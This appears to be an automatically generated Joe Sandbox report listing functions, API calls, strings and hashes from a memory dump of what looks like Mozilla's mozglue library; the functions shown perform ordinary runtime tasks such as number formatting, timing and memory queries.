Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 5da37b5a4aefbf75c95bcd8a74113f31a0ff71d20233f3fb4309a8928b79609f
Instruction ID: 0462169dfca4c830822eb67adad055e25294c7156fd48cdde0900bca9d841045
Opcode Fuzzy Hash: 5da37b5a4aefbf75c95bcd8a74113f31a0ff71d20233f3fb4309a8928b79609f
Instruction Fuzzy Hash: 15726B72A056118FD305CF28C540215FFF5BF99328F2AC6ADE8699B7A1DB35E841CB80

Function 6CA12C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA12C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA12C61

Part of subcall function 6C9C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9C4E5A
Part of subcall function 6C9C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C9C4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA12C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA12E2D

Part of subcall function 6C9D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9D81DE

Strings

expected a Time entry, xrefs: 6CA12E36
(root), xrefs: 6CA1354F
ProfileBuffer parse error: %s, xrefs: 6CA12E3B

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: a0ed4e61d0ab0f33dcb968b1ad34a5d2181f72f34f65dacf5a47b4d43250d756
Instruction ID: 549b7381749ee2d8463d650ce4ae0d432282a54bc0d395280fc49f6757da02b5
Opcode Fuzzy Hash: a0ed4e61d0ab0f33dcb968b1ad34a5d2181f72f34f65dacf5a47b4d43250d756
Instruction Fuzzy Hash: B291CFB060C7418FC724DF28C49469FB7E1EF8A358F148A1DE59A9BB50DB30D989CB52

Function 6C9EC0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C9EC317
MOZ_CRASH(), xrefs: 6C9ED4BB

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 198349669a3f00dcbb197f026062a0e046120b8cfecaf32e7b6cde3c3b75055e
Instruction ID: 7f03b4ff178280bb853b0e3f74858b4570e61f3967d651aa0c36f798c392b944
Opcode Fuzzy Hash: 198349669a3f00dcbb197f026062a0e046120b8cfecaf32e7b6cde3c3b75055e
Instruction Fuzzy Hash: 8452CF316083418FD729DF18C45076ABBE6BFEA318F18891DE8E687B81D735D846CB42

Function 6CA29E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CA29F3D
__aulldiv.LIBCMT ref: 6CA29F77
__aullrem.LIBCMT ref: 6CA29F8C
__aulldiv.LIBCMT ref: 6CA2A023

Strings

NaN, xrefs: 6CA29EAB
-Infinity, xrefs: 6CA29E60, 6CA29E7B

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: f7c532d1b5e37a6a9e7c9ea8fb0b4a2bcac88406cbd123d0589edff4ccaf437a
Instruction ID: b028f1a8630f9e18ef2defbe4a272dc4616db7aa842e5e0990b520c65a85dd29
Opcode Fuzzy Hash: f7c532d1b5e37a6a9e7c9ea8fb0b4a2bcac88406cbd123d0589edff4ccaf437a
Instruction Fuzzy Hash: C7C1AD31A043288BDB14CFA9C8507AEB7B7BF94714F184529D405ABB80D779ED89CB91

Function 6C9CD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C9CDA88
0, xrefs: 6C9CD852
0, xrefs: 6C9CDC7F
8, xrefs: 6C9CDC08
9, xrefs: 6C9CDE7F
-, xrefs: 6C9CD7DD
@, xrefs: 6C9CDAF6
1, xrefs: 6C9CDBDD

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 66d603244a65f0b81a8d659244b0fdf304a2f5a2cb1509f8d743d9c24f281b59
Instruction ID: c77951bd0aac4642c2fef6955caf471a243f9899f999a1e12b63a83d250c4efc
Opcode Fuzzy Hash: 66d603244a65f0b81a8d659244b0fdf304a2f5a2cb1509f8d743d9c24f281b59
Instruction Fuzzy Hash: A762997278D3858FD701CE28C49076ABBE6AF86358F184A4DE4E54BB91C335D985CB83

Function 6C9D9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C9DA5D6
0, xrefs: 6C9DA100
1, xrefs: 6C9DA824
0, xrefs: 6C9DAB22
@, xrefs: 6C9DA625
' , xrefs: 6C9DA3D8

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: e159e3e1926f1bb72ed7c7fa452c5b6a9634323e60200ec07bd3b1af6e058292
Instruction ID: be029efa2c161c7a9bf362d5558699b187d05448d0dd225d1cc0686d8e8c0d85
Opcode Fuzzy Hash: e159e3e1926f1bb72ed7c7fa452c5b6a9634323e60200ec07bd3b1af6e058292
Instruction Fuzzy Hash: 9C82F331509B118BD710CF19C49026EB7E6EB81718F57CA29E8D577E90DB34F8A6CB82

Function 6C9CBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9CC1CB
__aulldiv.LIBCMT ref: 6C9CC24C
__aulldiv.LIBCMT ref: 6C9CC348
__aullrem.LIBCMT ref: 6C9CC365
__aulldiv.LIBCMT ref: 6C9CC37D

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: cdefb0fbd16a82e9015f04ba42be9910a27e50cd5d48002c5679fa86915f968b
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 04322732B146128FC718DE2CC890666BBE6AFD9310F09866DE895CB3D5D734ED05CB92

Function 6CA3545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA38A4B

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 28a410dc20fefc0ca13cbc76e1fde1bbf50348f9ff34f3b36e4583a54cca2832
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: A9B1C672A0022A8FDB14CE6CCDA1799B7B2AF95314F1912AAC54DDB781D730A9C5CB90

Function 6CA3542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA3925C

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 50f25dce910d41c40ab4c37d8018c1e42f77b6c0c39ffbdee1e3f8dee234c471
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: E7B1D672E0421A8FCB14CF68CD916EDB7B2EF84314F18126AC549DB785D730A9C9CB90

Function 6CA350C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA38E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA3925C

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 32a3feb2ad443e65b597a229c35a4b78220d592e5cf0a245f273543f2856c3a2
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: C6A1D872A002268FCB14CE6CCC917D9B7B6AF95314F1902BAC94DDB785D730A9D9CB90

Function 6CA177A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA17A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA17A93

Part of subcall function 6C9E5C50: GetTickCount64.KERNEL32 ref: 6C9E5D40
Part of subcall function 6C9E5C50: EnterCriticalSection.KERNEL32(6CA4F688), ref: 6C9E5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA17AA1

Part of subcall function 6C9E5C50: __aulldiv.LIBCMT ref: 6C9E5DB4
Part of subcall function 6C9E5C50: LeaveCriticalSection.KERNEL32(6CA4F688), ref: 6C9E5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CA17B31

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 75fb20312f6007af79ad442ab8efabf43d9b85899e7028c5d8ab86dec04aedf6
Instruction ID: e6b3afdbe4cd210a69ff790873f92a9dfb02ed990da48b798955df337a55e8d1
Opcode Fuzzy Hash: 75fb20312f6007af79ad442ab8efabf43d9b85899e7028c5d8ab86dec04aedf6
Instruction Fuzzy Hash: DBB1713560C3858BCB14CF24C55065FB7E2BFC5318F194A1CE996A7B91DB70E98ACB82

Function 6CA06CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CA06D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA06E1E

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 2f9c6d1089311b94efa5a24cdb22daed7cc2640d5812812d6eacfa1682960432
Instruction ID: 10529c58f3f1d54868aa5d59f587cf3e66ed9ddefe91772b3de1299d1f4b0e5a
Opcode Fuzzy Hash: 2f9c6d1089311b94efa5a24cdb22daed7cc2640d5812812d6eacfa1682960432
Instruction Fuzzy Hash: DAA16F746183818FC715CF24D5907AEBBF2BF9934CF44891DE88A87751DB70A889CB92

Function 6CA2B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CA2B720
RtlNtStatusToDosError.NTDLL ref: 6CA2B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C9FFE3F,00000000,00000000,?,?,00000000,?,6C9FFE3F), ref: 6CA2B760

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: e62057355fb8535b434cd3dfad05948f4e49dc8ee735c0f7b749430b43dc754d
Instruction ID: 9fc7ad6d507853bdd9fb5fe75f883a1bd474d912401ad3d5b71733df3f0db5a6
Opcode Fuzzy Hash: e62057355fb8535b434cd3dfad05948f4e49dc8ee735c0f7b749430b43dc754d
Instruction Fuzzy Hash: 8AF0C87094122DAFDF019AA1DC84BDF77BC9B0431DF186329D916A15C0D77895CCC760

Function 6C9E4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C9E4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9E5585, 6C9E55A8, 6C9E55C3, 6C9E5624

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 0df6e862765fa31aae547250cf92e54b18d37faef220cb50c393f5a573e22c7b
Instruction ID: b57777a72cbd14f8e39b618001f8c3281977154878c7599afdfe7030b7df6588
Opcode Fuzzy Hash: 0df6e862765fa31aae547250cf92e54b18d37faef220cb50c393f5a573e22c7b
Instruction Fuzzy Hash: 13B27C71A056018FC30ACF19C590715BBE6BFD9328F29C7ADE46A8B7A5D771E841CB80

Function 6CA285F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA28C7C
__aulldiv.LIBCMT ref: 6CA28DD7

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: f37cca5ee51d50760ba81fbfb5ca58f50118f0a7ee85e3c87c6ac8bad97a0500
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 8B326472F011298BDF18CE9DC8917EEB7B3FB88300F19852AD506BB794D6385D858B91

Function 6CA2B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9D03D4,?), ref: 6CA2B955
NtQueryVirtualMemory.NTDLL ref: 6CA2B9A5

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 39e2bba3cd22055d5dbca4c27a3285ef3167f791fe635e9de9530f2c525e8338
Instruction ID: 1c4175a7f1511107e4d2e3c4bbcff43d1a476712f0c0249ad07642ac6711ac6f
Opcode Fuzzy Hash: 39e2bba3cd22055d5dbca4c27a3285ef3167f791fe635e9de9530f2c525e8338
Instruction Fuzzy Hash: 1141CA71F0122D9FDF04CFA9E890ADEB7B5EF88354F188229D416A7704DB3598858B90

Function 6CA05C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C9D4A63,?,?), ref: 6CA05F06

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 69d1dbf7d1a6372296826ae48bfb1177a63aca4aa696e50730f2f97708b4ca01
Instruction ID: fff509621b6fbf851e700c93491449dc14b07c0ac7ff3865e835f1a6e15e9036
Opcode Fuzzy Hash: 69d1dbf7d1a6372296826ae48bfb1177a63aca4aa696e50730f2f97708b4ca01
Instruction Fuzzy Hash: 7EC1D275E012098BCB04CF99D5906DEBBF2FF89398F28815DC8556BB40D732A886CB94

Function 6C9CDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1040085746b60c41262600948275313861b0485a87639f37d769f7d552f4d46
Instruction ID: 60cdd13a521ad6ab435057f5d9466ade7153658c422c787e02dec662aabc2b7e
Opcode Fuzzy Hash: e1040085746b60c41262600948275313861b0485a87639f37d769f7d552f4d46
Instruction Fuzzy Hash: 6E429172B187518BD318CE2CC89175AB3E2BFC9354F098B2DE999A7790D734D9418B83

Function 6CA376E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 7dde78198a06b1008c796eced6f81015b56864c0207d86b39d7188866a72e1c6
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 1B32F971E00629CFCB14CF99C990AADF7B2BF88304F589169C949E7745D731A986CF90

Function 6CA36E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
